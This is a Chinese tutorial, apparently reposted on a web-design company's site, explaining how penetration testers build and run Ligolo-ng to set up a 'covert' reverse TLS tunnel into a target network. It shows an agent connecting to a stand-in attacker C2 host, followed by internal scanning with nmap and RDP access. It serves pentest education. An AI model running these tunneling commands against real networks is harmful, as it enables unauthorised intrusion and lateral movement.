如何使用Ligolo-ng建立隐蔽的通信信道

关于Ligolo-ng

Ligolo-ng是一款高级信道工具，该工具基于TUN接口实现其功能。Ligolo-ng是一款轻量级的快速工具，可以帮助广大渗透测试人员利用反向TCP/TLS连接建立一条隐蔽的通信信道，而且无需SOCKS支持。

成都创新互联主营内丘网站建设的网络公司,主营网站建设方案,成都app开发,内丘h5小程序设计搭建,内丘网站营销推广欢迎内丘等地区企业咨询

功能介绍

  • Tun接口(不再需要SOCKS);
  • 简单的UI界面，支持选择代理和网络信息;
  • 易于使用，易于安装;
  • 基于Let’s Encrypt的自动化证书配置;
  • 高性能(多路复用);
  • 不需要高级权限;
  • 套接字监听/代理绑定;
  • 多平台代理支持;

工具构建

(1) 构建Ligolo-ng

 
 
    
  
  
  1. $ go build -o agent cmd/agent/main.go  
    2.   
  
  2. $ go build -o proxy cmd/proxy/main.go  
    3.   
  
  3. # Build agent for Windows  
    4.   
  
  4. $ GOOS=windows go build -o agent.exe cmd/agent/main.go 
    5.

(2) 安装Ligolo-ng

我们需要在自己的命令控制服务器上开启代理服务，默认使用11601端口监听：

 
 
    
  
  
  1. $ sudo ip tuntap add user [your_username] mode tun ligolo 
    2.   
  
  2. $ sudo ip link set ligolo up 
    3.   
  
  3. $ ./proxy -h # Help options 
    4.   
  
  4. $ ./proxy -autocert # Automatically request LetsEncrypt certificates 
    5.

工具使用

首先，我们需要在目标设备上启动代理(无需特殊权限)：

 
 
    
  
  
  1. $ ./agent -connect attacker_c2_server.com:11601 
    2.

此时，代理服务器上将出现一条会话链接：

 
 
    
  
  
  1. INFO[0102] Agent joined. name=nchatelain@nworkstation remote="XX.XX.XX.XX:38000" 
    2.

使用“session”命令选择代理：

 
 
    
  
  
  1. ligolo-ng » session 
    2.   
  
  2.  
    3.   
  
  3. ? Specify a session : 1 - nchatelain@nworkstation - XX.XX.XX.XX:38000 
    4.

使用“ifconfig”命令显示代理的网络配置信息：

 
 
    
  
  
  1. [Agent : nchatelain@nworkstation] » ifconfig 
    2.   
  
  2.  
    3.   
  
  3. [...] 
    4.   
  
  4.  
    5.   
  
  5. ┌─────────────────────────────────────────────┐ 
    6.   
  
  6.  
    7.   
  
  7. │ Interface 3                                 │ 
    8.   
  
  8.  
    9.   
  
  9. ├──────────────┬──────────────────────────────┤ 
    10.   
  
  10.  
    11.   
  
  11. │ Name         │ wlp3s0                       │ 
    12.   
  
  12.  
    13.   
  
  13. │ Hardware MAC │ de:ad:be:ef:ca:fe            │ 
    14.   
  
  14.  
    15.   
  
  15. │ MTU          │ 1500                         │ 
    16.   
  
  16.  
    17.   
  
  17. │ Flags        │ up|broadcast|multicast       │ 
    18.   
  
  18.  
    19.   
  
  19. │ IPv4 Address │ 192.168.0.30/24             │ 
    20.   
  
  20.  
    21.   
  
  21. └──────────────┴──────────────────────────────┘ 
    22.

在代理/中继服务器上添加一条指向192.168.0.0/24代理网络的路由：

 
 
    
  
  
  1. $ sudo ip route add 192.168.0.0/24 dev ligolo 
    2.

最后，在代理上开启一条通信信道：

 
 
    
  
  
  1. [Agent : nchatelain@nworkstation] » start 
    2.   
  
  2.  
    3.   
  
  3. [Agent : nchatelain@nworkstation] » INFO[0690] Starting tunnel to nchatelain@nworkstation    
    4.

现在，你就可以通过代理服务器访问192.168.0.0/24代理网络：

 
 
    
  
  
  1. $ nmap 192.168.0.0/24 -v -sV -n 
    2.   
  
  2.  
    3.   
  
  3. [...] 
    4.   
  
  4.  
    5.   
  
  5. $ rdesktop 192.168.0.123 
    6.   
  
  6.  
    7.   
  
  7. [...] 
    8.

支持的协议/数据包

  • TCP
  • UDP
  • ICMP

性能

在Ligolo-ng的帮助下，你可以轻松达到100 Mbits/秒的速度。下面给出的测试结果是在一台200Mbits/s服务器上使用iperf测试的一条200Mbits/s的链接：

 
 
    
  
  
  1. $ iperf3 -c 10.10.0.1 -p 24483 
    2.   
  
  2.  
    3.   
  
  3. Connecting to host 10.10.0.1, port 24483 
    4.   
  
  4.  
    5.   
  
  5. [  5] local 10.10.0.224 port 50654 connected to 10.10.0.1 port 24483 
    6.   
  
  6.  
    7.   
  
  7. [ ID] Interval           Transfer     Bitrate         Retr  Cwnd 
    8.   
  
  8.  
    9.   
  
  9. [  5]   0.00-1.00   sec  12.5 MBytes   105 Mbits/sec    0    164 KBytes        
    10.   
  
  10.  
    11.   
  
  11. [  5]   1.00-2.00   sec  12.7 MBytes   107 Mbits/sec    0    263 KBytes        
    12.   
  
  12.  
    13.   
  
  13. [  5]   2.00-3.00   sec  12.4 MBytes   104 Mbits/sec    0    263 KBytes        
    14.   
  
  14.  
    15.   
  
  15. [  5]   3.00-4.00   sec  12.7 MBytes   106 Mbits/sec    0    263 KBytes        
    16.   
  
  16.  
    17.   
  
  17. [  5]   4.00-5.00   sec  13.1 MBytes   110 Mbits/sec    2    134 KBytes        
    18.   
  
  18.  
    19.   
  
  19. [  5]   5.00-6.00   sec  13.4 MBytes   113 Mbits/sec    0    147 KBytes        
    20.   
  
  20.  
    21.   
  
  21. [  5]   6.00-7.00   sec  12.6 MBytes   105 Mbits/sec    0    158 KBytes        
    22.   
  
  22.  
    23.   
  
  23. [  5]   7.00-8.00   sec  12.1 MBytes   101 Mbits/sec    0    173 KBytes        
    24.   
  
  24.  
    25.   
  
  25. [  5]   8.00-9.00   sec  12.7 MBytes   106 Mbits/sec    0    182 KBytes        
    26.   
  
  26.  
    27.   
  
  27. [  5]   9.00-10.00  sec  12.6 MBytes   106 Mbits/sec    0    188 KBytes        
    28.   
  
  28.  
    29.   
  
  29. - - - - - - - - - - - - - - - - - - - - - - - - - 
    30.   
  
  30.  
    31.   
  
  31. [ ID] Interval           Transfer     Bitrate         Retr 
    32.   
  
  32.  
    33.   
  
  33. [  5]   0.00-10.00  sec   127 MBytes   106 Mbits/sec    2             sender 
    34.   
  
  34.  
    35.   
  
  35. [  5]   0.00-10.08  sec   125 MBytes   104 Mbits/sec                  receiver 
    36.

注意事项

由于代理并不是以高级权限运行的，因此无法转发原始数据包。当你执行“NMAP SYN-SCAN”的时候，代理上会执行一次TCP connect()。

在使用Nmap时，你应该使用“--unprivileged”或“-PE”以避免假阳性。

工具使用演示

视频地址：【点我观看】

项目地址

Ligolo-ng：【GitHub传送门】

分享标题：如何使用Ligolo-ng建立隐蔽的通信信道
URL地址：http://www.36103.cn/qtweb/news1/651.html

网站建设、网络推广公司-创新互联，是专注品牌与效果的网站制作，网络营销seo公司；服务项目有等

广告

声明：本网站发布的内容（图片、视频和文字）以用户投稿、用户转载内容为主，如果涉及侵权请尽快告知，我们将会在第一时间删除。文章观点不代表本网站立场，如需处理请联系客服。电话：028-86922220；邮箱：631063699@qq.com。内容未经允许不得转载，或转载时需注明来源： 创新互联

猜你还喜欢下面的内容

网页设计公司知识

各行业网站

成都全网营销推广　　 　亚克力背部发光字　　 　产品包装设计　　 　渠县网站建设　　 　郫县网站建设　　 　上海除甲醛　　 　成都防护栏　　 　眉山网站建设　　 　自适应网页设计　　 　成都服务器托管　　 　响应式网站建设　　 　响应式网站　　 　彭州做网站　　 　四川广汉锦华　　 　成都网站制作　　 　成都画册设计公司　　 　广汉网站建设　　 　品牌网站建设公司　　 　软文发稿　　 　重庆手机网站建设